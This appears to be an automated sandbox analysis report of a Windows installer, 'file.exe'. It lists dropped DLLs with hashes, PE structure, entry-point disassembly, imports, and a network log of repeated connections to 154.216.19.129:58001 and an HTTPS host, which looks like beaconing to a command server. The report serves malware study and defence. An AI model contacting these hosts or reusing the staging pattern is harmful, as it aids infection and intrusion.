Process:	C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1183089
Entropy (8bit):	6.3663933835404425
Encrypted:	false
SSDEEP:	24576:kYwCLCUplZhgjXj8YcgoniqO3CBiO0jaS+EtjC67V5MNx9XN:fGUhni7iSFCQGz
MD5:	F1ED953D31A56E4899772A56604685B5
SHA1:	C56DA596FD92B48D2B062C16131A1CFDC984853F
SHA-256:	438A002FB9CD0BD061345C8F098C69C4249CE0B0D9AC3F1BC5CB3701BA6093EC
SHA-512:	514131A00232CDE458F50FB8AABEC5D415B62101A814520B8DF7C32AD24C23409C76A64D513B3FD96F526A461DE2531AEAA59A187D647C946DE5B51C52177E8D
Malicious:	false
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L...V..O..........................................@..............................................@...............................7......<...........................................................................X...x............................text...<........................... ..`.itext.............................. ..`.data..../.......0..................@....bss....pa...............................idata...7.......8..................@....tls....<............ ...................rdata............... ..............@..@.rsrc...<............"..............@..@....................................@..@........................................................................................................................................

C:\Users\user\AppData\Roaming\PoisedCoyote.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2968955
Entropy (8bit):	7.086805464698464
Encrypted:	false
SSDEEP:	49152:ekFE961ytt8iF+L3N4Tefv2HHcRnFuhBRh1l29gDQPpW1ra8h3gA/QMtJhGExB2T:9J1ytt8iF+L3NIcJFuf9SgkpWtv3J2F9
MD5:	87ABA2697A8DEDA3E1284A79780FF69D
SHA1:	21DFE5AA0E8F32688FAEE3AC31652392696E0908
SHA-256:	736AF8F850EBF9FBF744002845787425AA493A5D11202094381051EE66568582
SHA-512:	3A55DF4BDD9F46126B85484E19BFD53AB8F744B073B1CFE42D9FFEC101947A5A318B16FF7D446FB97834440A1F9D8EC1FFB82D3E67388027E62CAD000CF38616
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....>g....h%....&"...*.,..........0........................................0 .......-...`... .........................................q.................................... .................................(................... ...P............................text...X+.......,..................`..`.data........@.......0..............@....rdata..0H...P...J...4..............@..@.pdata..............~..............@..@.xdata...=...`...>...4..............@..@.bss.....................................edata..q............r..............@..@.idata...........0...t..............@....CRT....`...........................@....tls.......... .....................@....reloc........ .....................@..B........................................................................................................................................................................

C:\Users\user\AppData\Roaming\is-D8FFC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2968955
Entropy (8bit):	7.086805464698464
Encrypted:	false
SSDEEP:	49152:ekFE961ytt8iF+L3N4Tefv2HHcRnFuhBRh1l29gDQPpW1ra8h3gA/QMtJhGExB2T:9J1ytt8iF+L3NIcJFuf9SgkpWtv3J2F9
MD5:	87ABA2697A8DEDA3E1284A79780FF69D
SHA1:	21DFE5AA0E8F32688FAEE3AC31652392696E0908
SHA-256:	736AF8F850EBF9FBF744002845787425AA493A5D11202094381051EE66568582
SHA-512:	3A55DF4BDD9F46126B85484E19BFD53AB8F744B073B1CFE42D9FFEC101947A5A318B16FF7D446FB97834440A1F9D8EC1FFB82D3E67388027E62CAD000CF38616
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.....>g....h%....&"...*.,..........0........................................0 .......-...`... .........................................q.................................... .................................(................... ...P............................text...X+.......,..................`..`.data........@.......0..............@....rdata..0H...P...J...4..............@..@.pdata..............~..............@..@.xdata...=...`...>...4..............@..@.bss.....................................edata..q............r..............@..@.idata...........0...t..............@....CRT....`...........................@....tls.......... .....................@....reloc........ .....................@..B........................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.958379968512178
TrID:	Win32 Executable (generic) a (10002005/4) 98.86% Inno Setup installer (109748/4) 1.08% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02%
File name:	file.exe
File size:	1'769'630 bytes
MD5:	fecd099f9b8d9500d7199a1054397e3f
SHA1:	3df235780c9ad851474c20338e4921f5f2decaf7
SHA256:	96a60b6cde63794b637bce219083e7905560c626e68c00af1d99be451c8c3700
SHA512:	e8559b435fc053460cc7d5ba6755c1b8aa659f2bc620bd13f7ac6db7da846088018baf07c630f2fc97769e5da0d0bbc2fcd9b400b7166c6aa5cada4d9a85eca0
SSDEEP:	49152:zUjKZGiyt7lO9kwWzJLPKeVMFZkYilgWRqadRRnqxD:iflWeOeV8ulCaLc
TLSH:	9A852303F3C70475FA6855799896D248AD237CB914F6AA3E3CF8EA0F19781C24C76A71
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	2d2e3797b32b2b99

Static PE Info

General

Entrypoint:	0x416478
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x4FC4B854 [Tue May 29 11:51:48 2012 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	483f0c4259a9148c34961abbda6146c1

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFA4h
push ebx
push esi
push edi
xor eax, eax
mov dword ptr [ebp-3Ch], eax
mov dword ptr [ebp-40h], eax
mov dword ptr [ebp-5Ch], eax
mov dword ptr [ebp-30h], eax
mov dword ptr [ebp-38h], eax
mov dword ptr [ebp-34h], eax
mov dword ptr [ebp-2Ch], eax
mov dword ptr [ebp-28h], eax
mov dword ptr [ebp-14h], eax
mov eax, 004152B8h
call 00007F1AC0B356A1h
xor eax, eax
push ebp
push 00416B45h
push dword ptr fs:[eax]
mov dword ptr fs:[eax], esp
xor edx, edx
push ebp
push 00416B01h
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
mov eax, dword ptr [0041AB48h]
call 00007F1AC0B43F4Bh
call 00007F1AC0B43AF2h
lea edx, dword ptr [ebp-14h]
xor eax, eax
call 00007F1AC0B3D774h
mov edx, dword ptr [ebp-14h]
mov eax, 0041D6E8h
call 00007F1AC0B33CD7h
push 00000002h
push 00000000h
push 00000001h
mov ecx, dword ptr [0041D6E8h]
mov dl, 01h
mov eax, dword ptr [0040F080h]
call 00007F1AC0B3E05Fh
mov dword ptr [0041D6ECh], eax
xor edx, edx
push ebp
push 00416AADh
push dword ptr fs:[edx]
mov dword ptr fs:[edx], esp
call 00007F1AC0B43FD3h
mov dword ptr [0041D6F4h], eax
mov eax, dword ptr [0041D6F4h]
cmp dword ptr [eax+0Ch], 01h
jne 00007F1AC0B4533Ah
mov eax, dword ptr [0041D6F4h]
mov edx, 00000028h
call 00007F1AC0B3E528h
mov edx, dword ptr [0041D6F4h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1e000	0xf9e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x21000	0xb1d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x20000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1e350	0x24c	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x143f8	0x14400	c9bb3afc1ceaaa31127ccfa204c657ef	False	0.5487316743827161	data	6.482216817915366	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x16000	0xbe8	0xc00	1ba5adf2e1058c0460dcc814ba86fb32	False	0.6246744791666666	data	6.005798728198158	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x17000	0xd9c	0xe00	d5b22eff9e08edaa95f493c1a71158c0	False	0.2924107142857143	data	2.669288666959085	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x18000	0x574c	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x1e000	0xf9e	0x1000	b47eaca4c149ee829de76a342b5560d5	False	0.35595703125	data	4.9677831942996935	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0x1f000	0x8	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x20000	0x18	0x200	3746f5876803f8f30db5bb2deb8772ae	False	0.05078125	data	0.190488766434666	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x21000	0xb1d8	0xb200	32a01e8a94203e16091013ee86f52f2e	False	0.17913886938202248	data	4.153057267294984	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x2141c	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	United States	0.5675675675675675
RT_ICON	0x21544	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320	English	United States	0.4486994219653179
RT_ICON	0x21aac	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 640	English	United States	0.4637096774193548
RT_ICON	0x21d94	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152	English	United States	0.3935018050541516
RT_STRING	0x2263c	0xc4	data			0.5969387755102041
RT_STRING	0x22700	0xcc	data			0.6225490196078431
RT_STRING	0x227cc	0x174	data			0.5510752688172043
RT_STRING	0x22940	0x39c	data			0.34523809523809523
RT_STRING	0x22cdc	0x34c	data			0.4218009478672986
RT_STRING	0x23028	0x294	data			0.4106060606060606
RT_RCDATA	0x232bc	0x82e8	data	English	United States	0.11261637622344235
RT_RCDATA	0x2b5a4	0x10	data			1.5
RT_RCDATA	0x2b5b4	0x1a0	data			0.8149038461538461
RT_RCDATA	0x2b754	0x2c	data			1.1818181818181819
RT_GROUP_ICON	0x2b780	0x3e	data	English	United States	0.8387096774193549
RT_VERSION	0x2b7c0	0x4b8	COM executable for DOS	English	United States	0.2806291390728477
RT_MANIFEST	0x2bc78	0x560	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.4251453488372093

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExW, RegOpenKeyExW, RegCloseKey
user32.dll	GetKeyboardType, LoadStringW, MessageBoxA, CharNextW
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetSystemInfo, GetTickCount, QueryPerformanceCounter, GetVersion, GetCurrentThreadId, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenW, lstrcpynW, LoadLibraryExW, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetLocaleInfoW, GetCommandLineW, FreeLibrary, FindFirstFileW, FindClose, ExitProcess, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle, CloseHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleW
user32.dll	CreateWindowExW, TranslateMessage, SetWindowLongW, PeekMessageW, MsgWaitForMultipleObjects, MessageBoxW, LoadStringW, GetSystemMetrics, ExitWindowsEx, DispatchMessageW, DestroyWindow, CharUpperBuffW, CallWindowProcW
kernel32.dll	WriteFile, WideCharToMultiByte, WaitForSingleObject, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, SizeofResource, SignalObjectAndWait, SetLastError, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, RemoveDirectoryW, ReadFile, MultiByteToWideChar, LockResource, LoadResource, LoadLibraryW, LeaveCriticalSection, InitializeCriticalSection, GetWindowsDirectoryW, GetVersionExW, GetUserDefaultLangID, GetThreadLocale, GetSystemInfo, GetStdHandle, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetLocaleInfoW, GetLocalTime, GetLastError, GetFullPathNameW, GetFileSize, GetFileAttributesW, GetExitCodeProcess, GetEnvironmentVariableW, GetDiskFreeSpaceW, GetDateFormatW, GetCurrentProcess, GetCommandLineW, GetCPInfo, InterlockedExchange, InterlockedCompareExchange, FreeLibrary, FormatMessageW, FindResourceW, EnumCalendarInfoW, EnterCriticalSection, DeleteFileW, DeleteCriticalSection, CreateProcessW, CreateFileW, CreateEventW, CreateDirectoryW, CompareStringW, CloseHandle
advapi32.dll	RegQueryValueExW, RegOpenKeyExW, RegCloseKey, OpenProcessToken, LookupPrivilegeValueW
comctl32.dll	InitCommonControls
kernel32.dll	Sleep
advapi32.dll	AdjustTokenPrivileges
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 02:58:53.491987944 CET	49736	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:58:53.611437082 CET	58001	49736	154.216.19.129	192.168.2.4
Nov 21, 2024 02:58:53.611915112 CET	49736	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:58:53.631356001 CET	49736	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:58:53.750787973 CET	58001	49736	154.216.19.129	192.168.2.4
Nov 21, 2024 02:58:53.751385927 CET	49736	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:58:53.870863914 CET	58001	49736	154.216.19.129	192.168.2.4
Nov 21, 2024 02:58:54.923403025 CET	58001	49736	154.216.19.129	192.168.2.4
Nov 21, 2024 02:58:55.048212051 CET	49736	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:58:55.162770033 CET	58001	49736	154.216.19.129	192.168.2.4
Nov 21, 2024 02:58:55.172928095 CET	49736	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:58:55.292665005 CET	58001	49736	154.216.19.129	192.168.2.4
Nov 21, 2024 02:58:55.292732000 CET	49736	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:58:55.655534029 CET	49738	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:55.655581951 CET	443	49738	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:55.655699968 CET	49738	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:55.663300037 CET	49738	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:55.663321972 CET	443	49738	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:57.100263119 CET	443	49738	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:57.100409031 CET	49738	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:57.105226994 CET	49738	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:57.105233908 CET	443	49738	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:57.105545044 CET	443	49738	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:57.149390936 CET	49738	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:57.191337109 CET	443	49738	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:57.602715969 CET	443	49738	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:57.602876902 CET	443	49738	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:57.603024960 CET	49738	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:57.608814001 CET	49739	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:57.608841896 CET	443	49739	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:57.608850002 CET	49738	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:57.608982086 CET	49739	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:57.609165907 CET	49739	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:57.609180927 CET	443	49739	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:57.613323927 CET	49739	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:57.655339003 CET	443	49739	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:57.736190081 CET	49740	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:58:57.855698109 CET	58001	49740	154.216.19.129	192.168.2.4
Nov 21, 2024 02:58:57.856489897 CET	49740	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:58:57.857064009 CET	49740	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:58:57.976541996 CET	58001	49740	154.216.19.129	192.168.2.4
Nov 21, 2024 02:58:57.976658106 CET	49740	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:58:58.096205950 CET	58001	49740	154.216.19.129	192.168.2.4
Nov 21, 2024 02:58:59.019747972 CET	443	49739	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:59.019804955 CET	49739	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:59.171506882 CET	58001	49740	154.216.19.129	192.168.2.4
Nov 21, 2024 02:58:59.360703945 CET	49740	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:58:59.405596972 CET	58001	49740	154.216.19.129	192.168.2.4
Nov 21, 2024 02:58:59.406570911 CET	49740	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:58:59.411355972 CET	49746	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:59.411374092 CET	443	49746	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:59.411458969 CET	49746	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:59.411741972 CET	49746	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:58:59.411753893 CET	443	49746	93.93.131.124	192.168.2.4
Nov 21, 2024 02:58:59.528224945 CET	58001	49740	154.216.19.129	192.168.2.4
Nov 21, 2024 02:58:59.528423071 CET	49740	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:01.084412098 CET	443	49746	93.93.131.124	192.168.2.4
Nov 21, 2024 02:59:01.084556103 CET	49746	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:59:01.112126112 CET	49746	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:59:01.112142086 CET	443	49746	93.93.131.124	192.168.2.4
Nov 21, 2024 02:59:01.113141060 CET	443	49746	93.93.131.124	192.168.2.4
Nov 21, 2024 02:59:01.114226103 CET	49746	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:59:01.159341097 CET	443	49746	93.93.131.124	192.168.2.4
Nov 21, 2024 02:59:01.602701902 CET	443	49746	93.93.131.124	192.168.2.4
Nov 21, 2024 02:59:01.602803946 CET	443	49746	93.93.131.124	192.168.2.4
Nov 21, 2024 02:59:01.602952003 CET	49746	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:59:01.603233099 CET	49746	443	192.168.2.4	93.93.131.124
Nov 21, 2024 02:59:01.720567942 CET	49753	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:01.840001106 CET	58001	49753	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:01.840248108 CET	49753	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:01.841008902 CET	49753	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:01.960427999 CET	58001	49753	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:01.960494041 CET	49753	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:02.079885960 CET	58001	49753	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:03.243968964 CET	58001	49753	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:03.244028091 CET	49753	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:03.244935036 CET	49753	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:03.361496925 CET	49759	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:03.364335060 CET	58001	49753	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:03.480968952 CET	58001	49759	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:03.481061935 CET	49759	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:03.481695890 CET	49759	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:03.601083994 CET	58001	49759	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:03.601181984 CET	49759	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:03.720961094 CET	58001	49759	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:04.842145920 CET	58001	49759	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:04.842235088 CET	49759	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:04.842401981 CET	49759	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:04.954829931 CET	49762	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:04.961899042 CET	58001	49759	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:05.074338913 CET	58001	49762	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:05.074462891 CET	49762	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:05.075320959 CET	49762	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:05.194942951 CET	58001	49762	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:05.195116997 CET	49762	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:05.314527035 CET	58001	49762	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:06.385727882 CET	58001	49762	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:06.385802031 CET	49762	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:06.385982037 CET	49762	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:06.501842976 CET	49766	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:06.505431890 CET	58001	49762	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:06.621381998 CET	58001	49766	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:06.623919964 CET	49766	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:06.625190973 CET	49766	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:06.744824886 CET	58001	49766	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:06.744901896 CET	49766	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:06.864439964 CET	58001	49766	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:08.024154902 CET	58001	49766	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:08.024216890 CET	49766	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:08.024363041 CET	49766	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:08.127183914 CET	49772	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:08.143799067 CET	58001	49766	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:08.249114037 CET	58001	49772	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:08.249223948 CET	49772	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:08.250066042 CET	49772	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:08.369503975 CET	58001	49772	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:08.369565964 CET	49772	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:08.489022017 CET	58001	49772	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:09.654086113 CET	58001	49772	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:09.654160023 CET	49772	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:09.654309034 CET	49772	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:09.767433882 CET	49778	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:09.773756981 CET	58001	49772	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:09.886934996 CET	58001	49778	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:09.887029886 CET	49778	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:09.887978077 CET	49778	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:10.007566929 CET	58001	49778	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:10.007637978 CET	49778	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:10.127247095 CET	58001	49778	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:11.244595051 CET	58001	49778	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:11.244746923 CET	49778	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:11.244798899 CET	49778	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:11.361028910 CET	49779	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:11.364229918 CET	58001	49778	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:11.480468988 CET	58001	49779	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:11.480571985 CET	49779	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:11.481573105 CET	49779	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:11.600948095 CET	58001	49779	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:11.601413012 CET	49779	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:11.720808983 CET	58001	49779	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:12.792947054 CET	58001	49779	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:12.793349981 CET	49779	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:12.795001984 CET	49779	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:12.914378881 CET	58001	49779	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:12.954863071 CET	49785	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:13.074323893 CET	58001	49785	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:13.074399948 CET	49785	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:13.075120926 CET	49785	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:13.194601059 CET	58001	49785	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:13.194797993 CET	49785	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:13.314250946 CET	58001	49785	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:14.432169914 CET	58001	49785	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:14.432225943 CET	49785	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:14.432368994 CET	49785	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:14.548695087 CET	49791	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:14.551748037 CET	58001	49785	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:14.668467999 CET	58001	49791	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:14.668555021 CET	49791	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:14.669224024 CET	49791	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:14.788645029 CET	58001	49791	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:14.788698912 CET	49791	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:14.908273935 CET	58001	49791	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:16.029027939 CET	58001	49791	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:16.029078960 CET	49791	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:16.029259920 CET	49791	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:16.142337084 CET	49793	58001	192.168.2.4	154.216.19.129
Nov 21, 2024 02:59:16.148695946 CET	58001	49791	154.216.19.129	192.168.2.4
Nov 21, 2024 02:59:16.261812925 CET	58001	49793	154.216.19.129	192.168.2.4
